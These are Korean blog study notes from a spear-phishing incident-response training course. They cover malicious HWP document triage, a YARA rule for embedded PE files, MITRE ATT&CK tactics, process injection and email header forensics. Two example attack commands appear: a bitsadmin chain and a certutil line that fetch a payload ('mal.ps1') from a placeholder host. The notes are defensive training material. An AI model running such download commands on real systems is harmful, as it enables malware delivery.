본문 바로가기
푸닥거리

온라인 일방향 침해사고 대응 훈련(중급, 스피어 피싱 대응 - 기본과정)

by [김경민]™ ┌(  ̄∇ ̄)┘™ 2022. 5. 29.
728x90

 


HWP 파일을 이용하여 악성 행위를 하는데 사용되는 기술 및 기법
- 포스트 스크립트
- 익스플로잇
- 자바스크립트

CFBF(Compund File Binary Format)
- 파일내에 작은 파일 시스템이 존재, 파일 = 스트림, 폴더 = 스토리지
- FAT File Allocation Table
https://github.com/decalage2/oletools
- DDE(Dynamic Data Exchange)

OOXML(Office Open XML)

https://lab.sds.co.kr/issues/27410#change-85319 
-> crontab

HWP
- 컴파운드 파일(compundfile)구조 형태
- 스트림과 스토리지가 묶여 압축된 형태
- 작은 파일 시스템과 유사한 구조
- 동일한 사이즈를 가지는 스트림이 다수 존재하는지 체크
- NOP 코드 및 기계어 코드가 포함되어 있는 스트림이 존재하는지 체크
- 확장자가 EPS, PS인 스트림을 체크

Base64
- 데이터를 알파벳 대소문자와 숫자, 특수문자들만을 이용하여 표현하도록 인코딩

포스트 스크립트(postscript)
- 인터프리터 언어(interpreted laguage)
- 포스트픽스 노테이션(postfix notation)
- 동적 타입(dynamic typed) 언어


OLE Compound Document
- DOC, HWP, XLS, PPT
- 파일 시스템처럼 서로가 폴더랑 스트링 구조로 이루어져 있어 해석하기 위해서는 전용 도구가 필요하다.

OOXML
- DOCX, HWPX, XLSX, PPTX
- XML을 형식으로 대부분 데이터와 좌표값을 갖고 객체 형태로 관리한다.

Rule Contains_PE_File
{
  string:
   $a = "MZ";
  condition:
   for any i in (1..#a):(uint32(@a[i] + uint32(@a[i] + 0x3C)) == 0x00004550)
}

yara64 -r contain_PE.yar "검사할 파일경로"

악성 HWP 문서 파일 트리아지
- PE 파일을 내장하고 있으며, 해당 PE 파일이 덤프 되면서 악성 행위를 수행하는 경우
- POST 스크립트를 내장하고 있으며, 실행되면서 쉘코드를 실행하는 경우
- 익스플로잇을 내장하고 있으며, 익스플로잇에 의해 쉘코드를 실행하는 경우

HwpScan2- HWP취약점검사도구

 

악성 문서 파일의 구성요소
- 익스플로잇
- 쉘코드(페이로드)
- 매크로/스크립트
- 실행파일

포스트스크립트
- 암호화된 포스트 스크립트를 복호화하는 루틴

 

 

 

MITRE ATT_CK 프레임 워크 활용

표적공격(Targeting Attack)
- 장기간 동안 은밀하고 지속적으로 목표 조직의 정보를 수집 한다.
- 목표 시스템 시스템 혹은 네트워크의 거점을 확보할 때 사회 공격 기법을 빈번하게 사용한다.
- 해커 그룹들은 공공기관, 군, 의료, 항공 산업 등 다양한 분야에 걸쳐 표적공격을 수행하고 있다.

MITRE ATT&CK 모델 “Enterprise” 카테고리의 Lateral Movement 전술(Tactic)
이것은 공격자가 네트워크 상에 있는 원격 시스템에 진입하고 제어 하는데 사용되는 전술 입니다. 공격에 대한 목적을 달성하기 위해서는 지속적으로 네트워크를 조사하고 찾는 과정이 수반 되며, 그 과정에서 다수의 시스템과 계정 정보를 활용 하기도 합니다. 공격자는 해당 전술을 완수하기 위해 표적 네트워크에 있는 원격 시스템에 RAT 도구를 설치하기도 하며, 운영체제에 기본 설치된 시스템 도구들을 사용 악용 하기도 합니다.

공급망공격(Supply Chain Attack)
IT 제품 또는 소프트웨어의 생산부터 유통을 거쳐 최종 소비자에 도달하기까지의 과정 중에 개입하여, 소프트웨어 및 하드웨어적인 방법으로 해당 제품의 기능을 변조하거나 새로운 기능을 추가하여 정보수집 등 다양한 목적을 달성하고자 하는 공격 기법

PDoS
MITRE ATT&CK 모델 “Enterprise” 카테고리의  Impact 전술(Tactic)에는 다양한 서비스 거부 공격(Denial of Service) 기술(Techniques)들이 존재한다. 그중 네트워크를 기반으로 하는 펌웨어(Firmware)를 업데이트할 때 그 안에 악성코드를 삽입해 시스템을 다운시키는 형태의 서비스 거부 공격

Phishing
MITRE ATT&CK 모델의 Techniques - T1566로 불특정 다수 또는 정부 기관의 고위 간부, 유명인, 군인, 기업인과 같은 특정인을 표적으로 신뢰하는 발신인이 보낸 것과 같이 위장한 메일를 전송해 악성 웹사이트로 유도하거나 첨부파일에 악성코드를 첨부하여 감염시키는 공격 기술
 
표적공격 절차
침투→탐색(검색)→수집→유출

사이버 킬 체인(Cyber Kill Chain)
공격 단계 별로 조직에게 가해지는 위협 요소를 제거 및 완화하기 위해 사이버 작전 수행 간 방어에 대한 방법론으로 사이버 공격을 프로세스 상으로 분석하여 각 공격 단계에서 조직에 가해지는 위협 요소들을 파악하고 분석한다.
 
Drive-by download
사용자가 공격자가 만든 특정 웹사이트에 접속하였을 때, 스크립트 사용자 모르게 악성 소프트웨어가 장치에 다운로드 되도록 하는 공격을 의미한다. 특히 이 공격은 악성코드가 존재하는 곳을 들키지 않기 위해 스크립트 코드를 이용해 여러 경유 사이트를 만들기도 한다.

MITRE ATT&CK 모델 “Enterprise” 카테고리에 있는 기술(Technique)에 대한 Persistence 전술(Tactic)
공격자는 표적 시스템에서 악성 코드를 거듭 실행하기 위해 윈도우의 태스크 스케쥴 기능을 악용 합니다. 프로그램을 특정 날짜나 시간에 실행할 수 있도록 스케쥴링 하고 자동화 하는 유틸리티는 오늘날의 대부분 운영체제에 존재 합니다. 윈도우의 태스크 스케쥴의 경우 적절한 인증 정보와 권한만(일반적으로 관리자 수준의 권한) 있다면 원격 에서도 설정이 가능 합니다. 공격자는 윈도우의 태스크 스케쥴링을 시스템이 부팅할 때 실행 시키기도 하며, 이러한 기능적 특징은 권한이 높은 사용자가 강제로 임의의 코드를 실행하여 권한 상승에 악용될 수 있습니다.

워터링홀
공격자는 공격 대상자 또는 대상 집단의 구성원이 자주 방문하는 웹사이트를 해킹하여 악성코드 유포를 위해 익스플로잇 킷등을 설치한다. 이 후 공격 대상자들이 해당 웹사이트를 방문하였을 때 자신들도 모르는 사이 악성코드에 감염된다.


파일리스(Fileless) 공격 LoL 바이너리 

파일리스(Fireless) 공격의 특징
- 프로세스 인젝션 기술을 사용 한다.
- LoL(Living of the Land) 바이너리들을 사용한다.
- 운영체제의 Built-In 명령어들을 이용하여 퍼시스턴스를 전개한다.

LoL Bins를 악용한 공격 스크립트
bitsadmin /create 1 & bitsadmin /addfile 1 https://URI c:\path_to_target_bin.exe & bitsadmin /RESUME 1 & bitsadmin /complete 1
- 해당 명령은 공격자의 악성 파일을 로컬 파일 시스템에 저장 하므로 디스크 쓰기가 발생 한다.
- 인터넷상의 ‘URI’ 경로를 통해 파일을 다운로드 한다.
- BITSADMIN 서비스를 사용하고 있다.

프로세스 인젝션
- 희생 프로세스의 문맥(context)에서 주입된 코드를 실행한다.
- 인젝션에 성공하면 해당 프로세스의 메모리, 리소스 및 상승된 권한에 접근할 수 있다.
- 실행 중인 프로세스의 주소 공간에서 임의의 코드를 실행하는 것을 말한다.

프로세스 인젝션 공격에 주로 호출되는 API 
- OpenProcess
- CreateProcess
- WriteProcessMemory

LoL Bins를 악용한 공격 스크립트
certutil.exe -urlcache -split -f https://example.com/mal.ps1 c:\temp:zip
- 다운로드 받은 스크립트 파일은 ADS 영역에 저장된다.

LoL Bins 
- Cscript.exe
- Certutil.exe
- Control.exe

Process Walking
- CreateToolhelp32Snapshot() 을 통해서 시스템에 동작중인 프로세스들의 Snapshot 정보를 얻는다.
- Process32First() 를 통해서 Snapshot 에 있는 첫 번째 프로세스 정보를 얻어올 수 있다.
- Target Process 를 검색하기 위해 악성코드에서 주로 활용하는 기법이다.

프로세스 인젝션 탐지 방법
- 운영체제의 메모리를 조사하여 프로세스에 할당된 가상주소 공간의 퍼미션이나 데이터 혹은 관련 자료구조(EX. VAD 등)를 조사한다.
- 프로세스 인젝션에 빈번하게 사용하는 API를 실시간으로 모니터링 한다.

악성코드에서 빈번하게 사용되는 DLL 인젝션
- OpenProcess() 함수로 전달되는 매개변수는 타겟 프로세스의 PID 가 포함되어 있다.
- DLL Injection 에 대한 결과는 Process Explorer 등의 도구를 통해 확인할 수 있다.
- 일반적으로 삽입된 Thread 는 해당 프로세스의 다른 쓰레드와 생성시각이 유사하므로 식별하는 것이 쉽지 않다.

VAD
- VAD는 프로세스의 리소스이며 프로세스에 의해 예약되어있는 가상 주소 공간을 관리한다.
- VAD 타입으로 Vads, Vad, Vadl 이 존재 한다.
- 메모리 관리자에 의해 프로세스의 주소공간에 메모리 할당에 대한 상태를 기술하는 이진트리 구조체이다.


X-Originating-IP
- 이메일을 전송한 클라이언트의 IP 주소를 확인할 수 있는 필드

이메일 발신자 인증에 사용되는 기술 두 가지
- DKIM
- SPF

이메일 수신자에게 보여지는 발신인 필드
- From:

이메일을 이용한 해킹 기법은 크게 이메일 계정을 해킹하여 도용하는 EAC과 이메일 계정 해킹없이 발신자를 그럴듯하게 위장하는 스푸핑 기법으로 분류할 수 있다.

envelope from와 header from 설명
- Header From 이메일 클라이언트(EUA)가 디스플레이 할 때 사용된다.
- Envelope From은 SPF를 이용하여 스푸핑으로부터 보호한다.
- Envelope From은 메일 서버가 NDR을 생성하는데 사용한다.
- SPF를 패스한 경우 Envelope From 정보는 신뢰가 가능하다.

딜레이 타임 분석
- 이메일 전송에는 일정 시간이 소요된다. 이러한 점을 근거하여 대량 메일 전송 여부를 추정

Message ID 분석
- 메시지 ID는 MUA 또는 MSA에서 생성한다.
- 메시지 ID는 globally unique 해야 한다.
- 별도의 포맷은 정의되어 있지 않다.



쉘코드 디버깅 분석 

- 익스플로잇은 소프트웨어의 버그나 취약점을 이용하여 예상하지 못한 상황을 발생 시키도록 하는 명령 혹은 데이터의 집합을 말합니다. 익스플로잇이 취약점을 가진 소프트웨어에 접근하는 방식을 기준으로 보면 원격 방식과 로컬 방식으로 나눌 수 있습니다. 쉘코드는 소프트웨어의 취약점이 공격된 후 실행되는 기계어 코드를 말합니다. 쉘코드는 주로 시스템 혹은 소프트웨어의 제어 권한을 획득 하거나 권한을 상승시키는 역할을 합니다.

- 대부분의 쉘코드는 코드와 데이터로 구성된다.
- 쉘코드는 실행 파일과 다르게 바인딩 직접(셀프 바인딩) 수행한다.
-실행 파일은 메모리에 로드된 후에 실행된다.

키로깅
- SetWindowsHookExA()
- GetMessageA()
- TranslateMessage()
- DispatchMessageA()

프로세스 토큰 획득
- OpenProcessToken()
- AdjustTokenPrivileges()

- 라이브러리 함수 및 API 이름의 해시 값 보관
- 라이브러리 함수 및 API 이름의 인코딩된 문자열 보관
- 라이브러리 함수 및 API 이름 문자열을 직접 보관

 

728x90

댓글